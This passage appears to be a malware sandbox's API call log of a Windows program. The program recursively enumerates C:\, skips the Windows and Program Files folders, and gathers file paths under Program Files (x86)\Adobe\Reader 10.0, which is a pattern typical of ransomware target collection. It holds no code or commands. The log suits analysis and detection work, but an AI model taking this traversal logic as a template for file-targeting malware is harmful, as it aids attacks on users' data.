lstrcmpW (lpString1="Documents and Settings", lpString2="Program Files") returned -1 [0029.792] lstrlenW (lpString="c:\\") returned 3 [0029.792] lstrlenW (lpString="Documents and Settings") returned 22 [0029.792] lstrcatW (in: lpString1="c:\\", lpString2="Documents and Settings" | out: lpString1="c:\\Documents and Settings") returned="c:\\Documents and Settings" [0029.792] lstrcatW (in: lpString1="c:\\Documents and Settings", lpString2="\\" | out: lpString1="c:\\Documents and Settings\\") returned="c:\\Documents and Settings\\" [0029.792] lstrlenW (lpString="c:\\Documents and Settings\\") returned 26 [0029.792] lstrcatW (in: lpString1="c:\\Documents and Settings\\", lpString2="*" | out: lpString1="c:\\Documents and Settings\\*") returned="c:\\Documents and Settings\\*" [0029.792] FindFirstFileW (in: lpFileName="c:\\Documents and Settings\\*", lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 0xffffffff [0029.793] FindNextFileW (in: hFindFile=0x7959a8, lpFindFileData=0x45f39c | out: lpFindFileData=0x45f39c) returned 1 [0029.793] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0029.793] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0029.793] lstrcmpW (lpString1="hiberfil.sys", lpString2="Windows") returned -1 [0029.793] lstrcmpW (lpString1="hiberfil.sys", lpString2="Program Files") returned -1 [0029.793] lstrlenW (lpString="c:\\") returned 3 [0029.793] lstrlenW (lpString="hiberfil.sys") returned 12 [0029.793] lstrcatW (in: lpString1="c:\\", lpString2="hiberfil.sys" | out: lpString1="c:\\hiberfil.sys") returned="c:\\hiberfil.sys" [0029.793] lstrlenW (lpString="c:\\hiberfil.sys") returned 15 [0029.793] lstrcpyW (in: lpString1=0x26ed90, lpString2="c:\\hiberfil.sys" | out: lpString1="c:\\hiberfil.sys") returned="c:\\hiberfil.sys" [0029.793] FindNextFileW (in: hFindFile=0x7959a8, lpFindFileData=0x45f39c | out: lpFindFileData=0x45f39c) returned 1 [0029.793] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0029.793] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0029.793] lstrcmpW (lpString1="pagefile.sys", lpString2="Windows") returned -1 [0029.793] lstrcmpW (lpString1="pagefile.sys", lpString2="Program Files") returned -1 [0029.793] lstrlenW (lpString="c:\\") returned 3 [0029.793] lstrlenW (lpString="pagefile.sys") returned 12 [0029.793] lstrcatW (in: lpString1="c:\\", lpString2="pagefile.sys" | out: lpString1="c:\\pagefile.sys") returned="c:\\pagefile.sys" [0029.793] lstrlenW (lpString="c:\\pagefile.sys") returned 15 [0029.793] lstrcpyW (in: lpString1=0x26edb8, lpString2="c:\\pagefile.sys" | out: lpString1="c:\\pagefile.sys") returned="c:\\pagefile.sys" [0029.793] FindNextFileW (in: hFindFile=0x7959a8, lpFindFileData=0x45f39c | out: lpFindFileData=0x45f39c) returned 1 [0029.793] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0029.793] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0029.793] lstrcmpW (lpString1="PerfLogs", lpString2="Windows") returned -1 [0029.793] lstrcmpW (lpString1="PerfLogs", lpString2="Program Files") returned -1 [0029.793] lstrlenW (lpString="c:\\") returned 3 [0029.793] lstrlenW (lpString="PerfLogs") returned 8 [0029.793] lstrcatW (in: lpString1="c:\\", lpString2="PerfLogs" | out: lpString1="c:\\PerfLogs") returned="c:\\PerfLogs" [0029.793] lstrcatW (in: lpString1="c:\\PerfLogs", lpString2="\\" | out: lpString1="c:\\PerfLogs\\") returned="c:\\PerfLogs\\" [0029.793] lstrlenW (lpString="c:\\PerfLogs\\") returned 12 [0029.793] lstrcatW (in: lpString1="c:\\PerfLogs\\", lpString2="*" | out: lpString1="c:\\PerfLogs\\*") returned="c:\\PerfLogs\\*" [0029.793] FindFirstFileW (in: lpFileName="c:\\PerfLogs\\*", lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 0xffffffff [0029.793] FindNextFileW (in: hFindFile=0x7959a8, lpFindFileData=0x45f39c | out: lpFindFileData=0x45f39c) returned 1 [0029.793] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0029.793] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0029.793] lstrcmpW (lpString1="Program Files", lpString2="Windows") returned -1 [0029.794] lstrcmpW (lpString1="Program Files", lpString2="Program Files") returned 0 [0029.794] FindNextFileW (in: hFindFile=0x7959a8, lpFindFileData=0x45f39c | out: lpFindFileData=0x45f39c) returned 1 [0029.794] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0029.794] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0029.794] lstrcmpW (lpString1="Program Files (x86)", lpString2="Windows") returned -1 [0029.794] lstrcmpW (lpString1="Program Files (x86)", lpString2="Program Files") returned 1 [0029.794] lstrlenW (lpString="c:\\") returned 3 [0029.794] lstrlenW (lpString="Program Files (x86)") returned 19 [0029.794] lstrcatW (in: lpString1="c:\\", lpString2="Program Files (x86)" | out: lpString1="c:\\Program Files (x86)") returned="c:\\Program Files (x86)" [0029.794] lstrcatW (in: lpString1="c:\\Program Files (x86)", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\") returned="c:\\Program Files (x86)\\" [0029.794] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.794] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\*") returned="c:\\Program Files (x86)\\*" [0029.794] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\*", lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 0x7959e8 [0029.794] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.794] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.794] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.794] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.794] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.794] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0029.794] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0029.794] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.794] lstrlenW (lpString="Adobe") returned 5 [0029.794] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Adobe" | out: lpString1="c:\\Program Files (x86)\\Adobe") returned="c:\\Program Files (x86)\\Adobe" [0029.794] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Adobe\\") returned="c:\\Program Files (x86)\\Adobe\\" [0029.794] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\") returned 29 [0029.794] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Adobe\\*") returned="c:\\Program Files (x86)\\Adobe\\*" [0029.794] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.794] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.794] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.794] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.794] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.794] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.794] lstrcmpW (lpString1="Reader 10.0", lpString2=".") returned 1 [0029.794] lstrcmpW (lpString1="Reader 10.0", lpString2="..") returned 1 [0029.794] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\") returned 29 [0029.794] lstrlenW (lpString="Reader 10.0") returned 11 [0029.794] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\", lpString2="Reader 10.0" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0" [0029.794] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0029.794] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.794] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*" [0029.794] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.795] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.795] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.795] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.795] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.795] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.795] lstrcmpW (lpString1="Benioku.htm", lpString2=".") returned 1 [0029.795] lstrcmpW (lpString1="Benioku.htm", lpString2="..") returned 1 [0029.795] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.795] lstrlenW (lpString="Benioku.htm") returned 11 [0029.795] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Benioku.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0029.795] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned 52 [0029.795] lstrcpyW (in: lpString1=0x26ede0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0029.795] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.795] lstrcmpW (lpString1="Berime.htm", lpString2=".") returned 1 [0029.795] lstrcmpW (lpString1="Berime.htm", lpString2="..") returned 1 [0029.795] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.795] lstrlenW (lpString="Berime.htm") returned 10 [0029.795] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Berime.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0029.795] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned 51 [0029.795] lstrcpyW (in: lpString1=0x26ee58, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0029.795] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.795] lstrcmpW (lpString1="Esl", lpString2=".") returned 1 [0029.795] lstrcmpW (lpString1="Esl", lpString2="..") returned 1 [0029.795] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.795] lstrlenW (lpString="Esl") returned 3 [0029.795] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Esl" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" [0029.795] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.795] lstrcmpW (lpString1="IrakHau.htm", lpString2=".") returned 1 [0029.795] lstrcmpW (lpString1="IrakHau.htm", lpString2="..") returned 1 [0029.795] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.795] lstrlenW (lpString="IrakHau.htm") returned 11 [0029.795] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="IrakHau.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0029.795] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned 52 [0029.795] lstrcpyW (in: lpString1=0x26eec8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0029.795] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.795] lstrcmpW (lpString1="Leame.htm", lpString2=".") returned 1 [0029.795] lstrcmpW (lpString1="Leame.htm", lpString2="..") returned 1 [0029.795] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.795] lstrlenW (lpString="Leame.htm") returned 9 [0029.795] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Leame.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0029.795] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned 50 [0029.795] lstrcpyW (in: lpString1=0x26ef40, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0029.795] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.795] lstrcmpW (lpString1="LeesMij.htm", lpString2=".") returned 1 [0029.795] lstrcmpW (lpString1="LeesMij.htm", lpString2="..") returned 1 [0029.795] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.795] lstrlenW (lpString="LeesMij.htm") returned 11 [0029.796] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LeesMij.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0029.796] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned 52 [0029.796] lstrcpyW (in: lpString1=0x26efb0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0029.796] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.796] lstrcmpW (lpString1="Leggimi.htm", lpString2=".") returned 1 [0029.796] lstrcmpW (lpString1="Leggimi.htm", lpString2="..") returned 1 [0029.796] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.796] lstrlenW (lpString="Leggimi.htm") returned 11 [0029.796] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Leggimi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0029.796] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned 52 [0029.796] lstrcpyW (in: lpString1=0x26f028, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0029.796] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.796] lstrcmpW (lpString1="LeiaMe.htm", lpString2=".") returned 1 [0029.796] lstrcmpW (lpString1="LeiaMe.htm", lpString2="..") returned 1 [0029.796] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.796] lstrlenW (lpString="LeiaMe.htm") returned 10 [0029.796] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LeiaMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0029.796] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned 51 [0029.796] lstrcpyW (in: lpString1=0x26f0a0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0029.796] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.796] lstrcmpW (lpString1="Liesmich.htm", lpString2=".") returned 1 [0029.796] lstrcmpW (lpString1="Liesmich.htm", lpString2="..") returned 1 [0029.796] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.796] lstrlenW (lpString="Liesmich.htm") returned 12 [0029.796] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Liesmich.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0029.796] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned 53 [0029.796] lstrcpyW (in: lpString1=0x26f110, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0029.796] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.796] lstrcmpW (lpString1="Lisezmoi.htm", lpString2=".") returned 1 [0029.796] lstrcmpW (lpString1="Lisezmoi.htm", lpString2="..") returned 1 [0029.796] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.796] lstrlenW (lpString="Lisezmoi.htm") returned 12 [0029.796] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Lisezmoi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0029.796] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned 53 [0029.796] lstrcpyW (in: lpString1=0x26f188, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0029.796] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.796] lstrcmpW (lpString1="Llegiu-me.htm", lpString2=".") returned 1 [0029.796] lstrcmpW (lpString1="Llegiu-me.htm", lpString2="..") returned 1 [0029.796] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.796] lstrlenW (lpString="Llegiu-me.htm") returned 13 [0029.796] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Llegiu-me.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0029.796] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned 54 [0029.796] lstrcpyW (in: lpString1=0x26f200, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0029.796] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.796] lstrcmpW (lpString1="LueMinut.htm", lpString2=".") returned 1 [0029.796] lstrcmpW (lpString1="LueMinut.htm", lpString2="..") returned 1 [0029.796] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.796] lstrlenW (lpString="LueMinut.htm") returned 12 [0029.796] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LueMinut.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0029.796] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned 53 [0029.796] lstrcpyW (in: lpString1=0x26f278, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0029.796] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.797] lstrcmpW (lpString1="Reader", lpString2=".") returned 1 [0029.797] lstrcmpW (lpString1="Reader", lpString2="..") returned 1 [0029.797] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.797] lstrlenW (lpString="Reader") returned 6 [0029.797] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Reader" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0029.797] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.797] lstrcmpW (lpString1="ReadMe.htm", lpString2=".") returned 1 [0029.797] lstrcmpW (lpString1="ReadMe.htm", lpString2="..") returned 1 [0029.797] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.797] lstrlenW (lpString="ReadMe.htm") returned 10 [0029.797] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0029.797] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned 51 [0029.797] lstrcpyW (in: lpString1=0x26f2f0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0029.797] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.797] lstrcmpW (lpString1="ReadMeCS.htm", lpString2=".") returned 1 [0029.797] lstrcmpW (lpString1="ReadMeCS.htm", lpString2="..") returned 1 [0029.797] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.797] lstrlenW (lpString="ReadMeCS.htm") returned 12 [0029.797] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0029.797] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned 53 [0029.797] lstrcpyW (in: lpString1=0x26f360, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0029.797] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.797] lstrcmpW (lpString1="ReadMeCT.htm", lpString2=".") returned 1 [0029.797] lstrcmpW (lpString1="ReadMeCT.htm", lpString2="..") returned 1 [0029.797] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.797] lstrlenW (lpString="ReadMeCT.htm") returned 12 [0029.797] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCT.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0029.797] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned 53 [0029.797] lstrcpyW (in: lpString1=0x26f3d8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0029.797] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.797] lstrcmpW (lpString1="ReadMeCZE.htm", lpString2=".") returned 1 [0029.797] lstrcmpW (lpString1="ReadMeCZE.htm", lpString2="..") returned 1 [0029.797] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.797] lstrlenW (lpString="ReadMeCZE.htm") returned 13 [0029.797] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCZE.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0029.797] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned 54 [0029.797] lstrcpyW (in: lpString1=0x26f450, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0029.797] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.797] lstrcmpW (lpString1="ReadMeHRV.htm", lpString2=".") returned 1 [0029.797] lstrcmpW (lpString1="ReadMeHRV.htm", lpString2="..") returned 1 [0029.797] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.797] lstrlenW (lpString="ReadMeHRV.htm") returned 13 [0029.797] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeHRV.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0029.797] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned 54 [0029.797] lstrcpyW (in: lpString1=0x26f4c8, lpString2="c:\\Program 